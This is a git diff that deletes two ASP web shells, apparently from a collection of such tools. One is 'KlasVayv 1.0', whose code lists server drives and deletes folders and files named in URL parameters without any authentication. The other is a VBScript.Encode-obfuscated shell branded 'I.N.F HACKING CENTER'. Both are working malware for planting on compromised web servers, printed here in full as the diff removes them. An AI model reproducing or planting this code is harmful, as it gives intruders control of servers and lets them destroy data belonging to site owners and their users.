- - - -<% -else -%> - - -<% - -if request.querystring("klas") <> "" then -aktifklas=Request.querystring("klas") -if request.querystring("usak") = "1" then -aktifklas=aktifklas & "\" -end if - -else -aktifklas=server.mappath("/") -aktifklas=aktifklas & "\" -end if - -if request.querystring("silklas") <> "" then -set sis=createobject("scripting.filesystemobject") -silincekklas=request.querystring("silklas") -sis.deletefolder(silincekklas) -set sis=nothing -'response.write(sil & " Silindi") -end if - -if request.querystring("sildos") <> "" then -silincekdos=request.querystring("sildos") -set dosx=createobject("scripting.filesystemobject") -set dos=dosx.getfile(silincekdos) -dos.delete -set dos=nothing -set dosyasis=nothing -end if - - - - -select case aktifklas -case "C:" aktifklas="C:\" -case "D:" aktifklas="D:\" -case "E:" aktifklas="E:\" -case "F:" aktifklas="F:\" -case "G:" aktifklas="G:\" -case "H:" aktifklas="H:\" -case "I:" aktifklas="I:\" -case "J:" aktifklas="J:\" -case "K:" aktifklas="K:\" -end select - - - -if aktifklas=("C:") then aktifklas=("C:\") - -Set FS = CreateObject("Scripting.FileSystemObject") -Set klasor = FS.GetFolder(aktifklas) -Set altklasorler = klasor.SubFolders -Set dosyalar = klasor.files -%> - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Klas�r - - - - - - -
 <%=response.write(aktifklas)%> - - - - - -
-

- - " style="text-decoration: none"> - �st Klas�r

-
-
-
- - - - - - - - - - -
 
- - - - - - -
- - - - -
- - - - S�r�c�ler
-
- - - - -
- - - Yeni Klas�r
-
- - - - -
- - Yeni Dosya
-
-
- - - - - - - - - -
-  T�r -  Dosya - Ad� -

-  ��lem

- - - -<% For each oge in altklasorler %> - - - - - - - - - -
-

-

-  <%=oge.name%>  - - - - -
- -

- - A�

-
- - - - -
- -

- - Sil - -

-
- -<% Next %> - - -<% For each oge in dosyalar %> - - - - - - - - -
-

-

-  <%=oge.name%> -         ( <%=Round(oge.size/1024,1)%> KB )  - - - - -
- -

- - D�zenle

-
- - - - -
- -

- - Sil

-
- -<% Next %> - - - -<% -if aktifklas=("C:\") then aktifklas=("C:") -%> - - -<% -end if -%> - - - -<% -end if -%> - - -<% -end if -%> - - -<% -end if -%> - -<% -end if -%> - - - - - - -
 
- - - - \ No newline at end of file diff --git a/OTHER/reader.asp.php.txt b/OTHER/reader.asp.php.txt deleted file mode 100644 index df72204..0000000 --- a/OTHER/reader.asp.php.txt +++ /dev/null @@ -1,116 +0,0 @@ -<%@ LANGUAGE = VBScript.Encode %> - - - - - - - -<%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%> -<%#@~^2QgAAA==@#@&w.K{ l:P{~JU+^DYor^+/r@#@&HlybsCD,',J@!Vr@*&RHRw~JLw.G|xlhnLJ~?1.bwObxbP|!V^Cx9���x�"P��bx~P�+30�.PAN+Mr"R@!Vb@*~A;~Um.kaOk P3U,�x+hsbP�"+^sb�k~"l0kw^+MrPVk8k,|Cz�DP`^Go*P@!(.@*Y!Yslhld�[�MR R@!sk@*A;~UmDr2DkUPgCk�V~nE^Vl �Vm^l��,5CD9�:~$�^�:�x9nPt+\1;OY!D,rVEz;aYCP_CVmP)U^l:C"klU�y,ASh bx6kVm3cODcmaPUkOnkkxbUPwWD!h~A�^�:� Nnx~)HD�UY�^�~AbVLrHkP$;^l8k^rM/r k.RR,@!^r@*Il.N�sP#n,f+kO+0V+MrUNx,fGVCz�,CGVH9+sWU~j+P3VKDG:mUEl~�KW0PK�+0V�D,2[+Mkh c@!Vb@*?1DkaOr:bybP!�\nU^+~|!sVmxC8bVk.dbxryc @!Vr@*|!VVmx�s~Cm3V�x9l~!xk�,$k^ok,)s:m3,��kUP( gRoPz[:bx~#Xl~!�M+-VbsDrHVPM�M���x�. R@!4.@*@!4.@*@!4D@*@!4M@*@!(.@*@!(D@*@!8D@*@!(D@*@!(.@*@!0GUDPmGsKDxD[@*@!^xD+D@*@!(@*A`P$�I,q HcsPU6s:P5zt(S&H&f(I @!J4@*@!(.@*@!4.@*@!0WUO,mGVK.{4s!+@*$P_l0~MV[k,ACO�^P}mrV,rV9;~T@!4M@*@!t.~1WsWMx4^l^V,/k"n{G@*@!(.@*@!^xD+D@*@!m~tM+W'4YO2=zzSAhckx6rsl0RDD ma@*qh R&UsbSCVcKD /o@!&l@*' 4daiLx4kwp'x(/2iLx8dai[ 8/ai[ 8dwp@!mP4DnW{tOYalzJhAAc+3G.K:Cxch3C kcmWs@*AVWMWhl R\n0lxb ZK:@!JC@*[ 4kwI[U8kwI[ 8/ai'U(/wI' 4dwp' 4dai@!lP4DW'4YOw=z&AShR0CDkWxWdl +kk YV@*nl./KU26/CU/k O0@!&l@*' 4daiLx4kwp'x(/2iLx8dai[ 8/ai[ 8dwp@!(D@*@!8.@*@!CP4.+6'hCbVYGlslrV(Gs4@$4WD:lbVc^Ws@*\+4Nr@!Jl@*LU4kwiLU8/aiLx8/2ILx8/aI[ 4d2p[x8dai@!l,4M+W{:mkVDW=4W^X[+sWU@$4WYsCk^RmKh@*CKVHfn:GU@!zC@*LU4kwI' 4/2ILx8/aILx8kwp[x(/aI[ 4dwp@!C~4D+6x:mkVDGl+M3mxqc*@$sXU+D mK:@*30WDGhmx@!zm@*@!4.@*@!(D@*@!l,4D0xtDY2lJzhSARbx0bsC3cYMR^6@*(c1 s@!&l@*J@#@&4+V2~{PEA!~km.bwDPHt9rP:l.l6�x[C PqcHRwPKChPzN� l~5C"�^:��O�Dc@!4M@*@!sb@*�m.nDVrPjn,�m.Ykky,bk2P_WdY^l.�U,K�:� [+,�lV���M @!(D@*@!sk@*@!J4@*b9.+kPjCD�D�PF�ds�xCPnG9EU!PV�D�xD�Vh+0P�dYNr�r ky,9WkXl �U~b9�x�,XCy�U c@!8D@*@!Vb@*PnXYl.nmP$�V�s�~A�+.,AK�/l,CmOl,.CD,fnh3Yb.R@!4D@*@!sk@*|!D8lU�U,fG/HCVmD�U�~V�D�xO�sXn4bss+V,��k PbHx�,j+M\nD9+~6^:l �"Pdly�s~uN9Pwl.3nOs+"Rc~@!(D@*@!^k@*)[M+dPn�ds�xC,Km:Pj+MrPVk.k^k.~v�Dx=~N=-h8wl^k1lU-[n6l;VD lkw@!8M@*@!^n YnD@*@!6WUDP1WVKD{.+9@*H+^+.~Ilwm8k^kDbh@!z6W Y@*@!&^xO+M@*@!(D@*@!^k@*jrD+[+0r,kU1V!N+^+MrPDlVkaPn[D+0~b9:k ~Kl +^kU+~i^l�hl@!8D@*@!sr@*bNhr P�r0MnkkUbP�mV:m@!(.@*@!Vr@*U+ddbWx,#+,ZWKVr+,f�+.Vn.bP�CVm.l0PJGTkx~6^:C@!(.@*@!sb@*UkYV.k P#+Mk~Pm4l slM�x�P� [rDs+,\dR @!4.@*@!8D@*@!^n Y+.@*@!0GxD~1WsKD{/k^\.@*@!l~tM+Wxslk^OW=:lbs8Ws4@$tGYhCbV mKh@*@!0GUDPmGsKDx/bs7+.@*HACf�@!zm@*Pr9LwCAA==^#~@%>I.N.F HACKING CENTER - <%=#@~^CAAAAA==2MWm ls+UQMAAA==^#~@%> - www.infilak.tr.cx<%#@~^HAEAAA==@#@&l^DP{PI;!n/DR}EDzjDDk L`rlmDrGxr#@#@&(0~C1Y~',EtV2E,KtnU@#@&^l^s,XCMNb:@#@&+ [Pb0@#@&0VCdKDP{~D;EdOR6WM:cJVsm/GDrb@#@&kds:Px~M+5EdDRWKDs`Jb/^n:r#@#@&b0~rkV+sxJrPY4nU@#@&kkVn:~x,J[EME@#@&+U[,k0@#@&b0~3^CkW.,',JJ,Y4nx,3slkW.x,D+$;+kYRkn.\D7l.kC8^+d`r)nhSmK_5?(/zSmnzP_Jb@#@&gVMAAA==^#~@%>
<%#@~^UAAAAA==@#@&DnkwKx/RS.kD+~J@!4G[HP4T^W^WD{:f&2&2&@*@!8G9X~YK2:mDLr '*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%>
<%#@~^WQAAAA==@#@&DnkwKx/RS.kD+~J@!khL,/D1xtDYw=&&+cNK:CkU[^6 mKhz0l.dKxF&r 0sWTGcor6P4+kTtDx,y@*E@#@&fhwAAA==^#~@%>
 Adres :                 *   M   &  
<%#@~^QwAAAA==r6PUKY,k/^+s~',J8lkVCE,YtU@#@&D+k2Gxk+ch.kOn,JE[HCybVC.LJJ@#@&Vd+nBQAAA==^#~@%>
-